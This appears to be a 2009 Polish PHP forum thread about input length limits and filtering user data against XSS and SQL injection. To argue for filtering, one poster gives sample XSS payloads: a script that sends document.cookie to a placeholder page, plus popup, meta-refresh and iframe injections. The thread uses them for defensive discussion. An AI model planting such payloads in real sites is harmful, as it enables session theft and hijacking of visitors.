[PHP]Bezpieczna długość zmiennej Opcje

[Szunaj85]

Staram się filtrować dane pochodzące od użytkownika. Mam na myśli różnego rodzaju formularze. Cytat z innej strony: "Zmienna powinna mieć radykalne ograniczenia wielkości, tak aby potencjalny włamywacz nie mógł zablokować naszej strony.". Chcę użyć funkcji strlen aby ograniczyć długość tekstu. I moje pytanie. Jaka jest bezpieczna długość zmiennej pochodząca od użytkownika, aby uniknąć takiej sytuacji?

Ten post edytował Szunaj85 24.04.2009, 21:00:08

[Spawnm]

a daj link do tego arta
może chodziło o atak XSS czyli długość powinna być taka aby nie dało się w klikać <script>alert('xss');</script>
ale zamiast tego można zwyczajnie dane filtrować przez strip_tags i htmlspecialchars

[Szunaj85]

http://www.webinside.pl/php/artykuly/197
Tam pisze, że 255, ale w niektórych przypadkach to trochę mało.

Ten post edytował Szunaj85 24.04.2009, 21:40:49

[batman]

Czytam i czytam i nadziwić się nie mogę, że ludzie takie bzdury wypisują. Długość zmiennej nie ma żadnego znaczenia jeśli chodzi o bezpieczeństwo. Nawet w 50 znakach można zmieścić kod z SQL Injection.
Najważniejszą rzeczą jest filtrowanie danych, a nie ich skracanie. Czyli:
1. Wywalanie kodu html/js tam, gdzie nie jest on potrzebny.
2. Walidowanie danych pod kątem ich typu.
3. Rzutowanie zmiennych przed ich użyciem. Jeśli wiadomo, że dana zmienna ma być liczbą, wówczas dla bezpieczeństwa lepiej ją zrzutować na int lub float.
I kilka innych, które akurat wyleciały mi z głowy.

[kamil4u]

1. Wywalanie kodu html/js tam, gdzie nie jest on potrzebny.

Że co? Po co? To IMO tak samo dobry pomysł jak z tą długością zmiennej - wystarczy użyć funkcji typu htmlspecialchars" title="Zobacz w manualu PHP" target="_manual! No chyba, że o czymś nie wiem...

Ten post edytował kamil4u 24.04.2009, 22:24:27

[kamil4u]

Zgoda, ale to ma się nijak do bezpieczeństwa(może trochę(w końcu to my mamy decydować jakie dane do nas trafią), ale w żaden sposób nie jest to niebezpieczne)

Ten post edytował kamil4u 24.04.2009, 22:29:14

[kamil4u]

Rozmawiamy o bezpieczeństwie naszej aplikacji. Po co mam usuwać znaczniki HTML? Co mi to da? Dałeś przykład z imieniem. To, że otrzymamy od gościa "marc&lt;b&g;in" to nic nie znaczy, w żaden sposób nam to nie zagraża. Co prawda masz rację, że lepiej usunąć, ale jeszcze raz powtarzam nie zagraża nam to. Więc pytam jeszcze raz: po co usuwać znaczniki HTML? IMO jest to bezsensu.

[kamil4u]

Pisałem, że rozmawiamy o bezpieczeństwie nie o estetyce:

Rozmawiamy o bezpieczeństwie naszej aplikacji.

Daj przykład gdy jesteśmy zagrożeni, gdy nie usuniemy znaczników. Ja takiego nie mogę znaleźć ....
Coś czuje, że się nie zrozumieliśmy na początku i nasza dyskusja dalej nie ma sensu(Ty wiesz to co ja Ci piszę, a ja to co Ty mi )

[v1t4n]

bezpieczenstwo bezpieczenstwem ale jak mi ktos zamknie diva w komentarzu to strona leci na pysk - wszelkie wypowiedzi oznaczam htmlspecialchars

[batman]

Daj przykład gdy jesteśmy zagrożeni, gdy nie usuniemy znaczników. Ja takiego nie mogę znaleźć ....

Przykład 1.

[HTML] pobierz, plaintext 
<script>window.location.href="moja.strona.html?ciacho=" + document.cookie</script>
[HTML] pobierz, plaintext 

Przykład 2.

[HTML] pobierz, plaintext 
<script>window.open("reklama porno");</script>
[HTML] pobierz, plaintext 

Przykład 3.

[HTML] pobierz, plaintext 
<meta http-equiv="refresh" content="2;url=http://jakis.adres.html">
[HTML] pobierz, plaintext 

Przykład 4.

[HTML] pobierz, plaintext 
<iframe src="http://moja.strona.html"></iframe>
[HTML] pobierz, plaintext 

Wystarczy, że zapiszesz takie coś do bazy, a następnie wyświetlisz, np jako info o użytkowniku. Wiesz co się stanie jeśli użyjesz htmlspecialchars. Dlatego trzeba wyczyścić dane z kodu html.

Jeśli nadal nie rozumiesz jakie niebezpieczeństwo niesie za sobą brak filtrowania danych, to bardzo mi przykro. EOT.

bezpieczenstwo bezpieczenstwem ale jak mi ktos zamknie diva w komentarzu to strona leci na pysk - wszelkie wypowiedzi oznaczam htmlspecialchars

Dlatego właśnie powstał bbcode, tidy i inne podobne ustrojstwa.

[Crozin]

@batman: nic się nie stanie. Zostanie wyświetlony taki kod jak tutaj - w formie tekstu. Usuwanie znaczników HTML nie jest dobrym pomysłem, bo poza HTML można usunąć normalny tekst.

Co do przykładu z imieniem. OK, usuniesz znaczniki HTML, a zostawisz !@#$%^&? No przecież dane się sprawdza i w części możemy spokojnie założyć, że jeżeli poprawnie przeszły walidację to nic nam nie grozi - będzie to numer telefonu ([0-9 ]+), imię ([a-z]+), nazwisko([a-z -]+) itp.

Z treści (jakieś wpisy, tytuły, opisy, sygnaturki - ogólnie wszystko, gdzie z założenia może iść niemalże dowolna treść) również nie wywalamy kod HTML tylko upewniamy się, że zostanie on wyświetlony tak jak zaostał wprowazdony - czyli w formie tekstu.

[batman]

@Crozin Pozostaje mi tylko jedno do powiedzenia - cytat z niezapomnianej polskiej komedii:

Pokaż go to palcem, bo chciałbym wierzyć, że śnię.

To tyle od mnie. Jeśli nadal się upierasz o pozostawieniu kodu HTML - Twoja sprawa.

[Crozin]

Pamiętaj, że cały czas mówimy w odniesieni do:

Że co? Po co? To IMO tak samo dobry pomysł jak z tą długością zmiennej - wystarczy użyć funkcji typu htmlspecialchars! No chyba, że o czymś nie wiem...

[vokiel]

Odnośnie tematu topiku ("Bezpieczna długość zmiennej") to IMHO sprawdzanie długości wprowadzanych danych też jest ważnym aspektem.
1. Co jeśli mamy ograniczoną długość pola w bazie i nastąpi próba wpisania dłuższego ciągu? W jednych bazach ciąg zostanie ucięty, dane niekompletne, i nawet nie będziemy o tym poinformowani. W innych mamy błąd.
2. Buffer overflow (np niegdyś wysłanie maila o temacie wiadomości dłuższym niz 256 znaków do odbiorcy używającego Outlok Express)

Poza tym proste sprawy jak imiona, nazwy państw, nazwiska, etc, które po prostu nie mogą być dłuższe niż ileś tam znaków. Wiadomo, że jak ktoś podaje więcej, to albo to jest po prostu błąd albo coś kombinuje/.

Zatem moim zdaniem sprawdzanie długości zmiennej ma sens.

[Szunaj85]

Nie spodziewałem się, że rozmowa pójdzie w takim kierunku. Pewne wnioski co do mojego pytania już wyciągnąłem. Może na początku nie miałem o to pytać, ale skoro tak się rozmowa potoczyła to zapytam. Jestem ciekaw jakiego typu filtry/zabezpieczenia stosujecie żeby zabezpieczyć formularz przed zwykłym użytkownikiem poprzez użytkownika, który chce coś zepsuć dla zabawy aż po hakerów? Kilka przykładów już padło. Pewnie są inne.
Jak macie jakiś ciekawy kod też wrzućcie jeśli chcecie. Wiem, że w google można znaleźć pewne informacje na ten temat, ale nie wiem czy są one nadal aktualne. Poza tym pewnie nie wszystkie znalazłem.

Ten post edytował Szunaj85 25.04.2009, 21:14:46

[Spawnm]

mysql_real_escape_string" title="Zobacz w manualu PHP" target="_manual jeśli treść ma iść do bazy , chroni przed sql injection.
htmlspecialchars" title="Zobacz w manualu PHP" target="_manual na XSS , imho wystarczy

[batman]

Odnośnie tematu topiku ("Bezpieczna długość zmiennej") to IMHO sprawdzanie długości wprowadzanych danych też jest ważnym aspektem.

Jak najbardziej. Jednak autorowi nie chodziło o to, czy należy sprawdzać długość ciągu, a o to, czy jest jakaś konkretna długość zmiennej, do jakiej powinien ją obcinać.

Podstawowe zabezpieczenia:

1. Funkcje z rodziny escape (mysql_real_escape_string, pg_escape_string, itd).
2. Usuwanie znaczników html - strip_tags.
3. Zamiana na encje wszystkich znaków, które mogą coś rozwalić - htmlentities/htmlspecialchars.
4. Walidancja danych pod kątem ich typu.

No i kilka dobrych rad o bezpieczeństwie.
1. Zawsze filtruj dane, nawet jeśli wiesz, że pochodzą one z "zaufanego" źródła.
2. Filtruj wszystkie dane - post, get, cookie, server.
3. Dane można (i powinno się) filtrować dwukrotnie - podczas zapisywania do bazy oraz podczas wyświetlania danych pobranych z bazy.

[Spawnm]

jako osoba filtrująca tylko przy zapisie mam pytanie:
jak filtrujesz dane przed xss przy odczycie ?
uwzględniając że przy zapisie użyłeś np nl2br " title="Zobacz w manualu PHP" target="_manual , jakiś bbcode do linków i obrazków czyli będzie sporo html .

[l0ud]

W takim wypadku trzeba najpierw przefiltrować dane, a dopiero później przepuścić przez nl2br i pochodne. To przecież logiczne

[dr_bonzo]

Ja nie kasuje tagow, i nie zapisuje w bazie danych po nl2br().

Do bazy ida takie dane jakie wyslal user, czyli z tagami(*) i \n

Przy wyswietlaniu htmlspecialchars() i tagi nam nie grozne. I nl2br jak potrzebuje


*) oczywiscie nie wszedzie: na pewno nie w datach, liczbach itp, ale w komentarzach - jak najbardziej.
Pozatym jak napisac takie phpfi.com jak skasujesz tagi przez zapisem?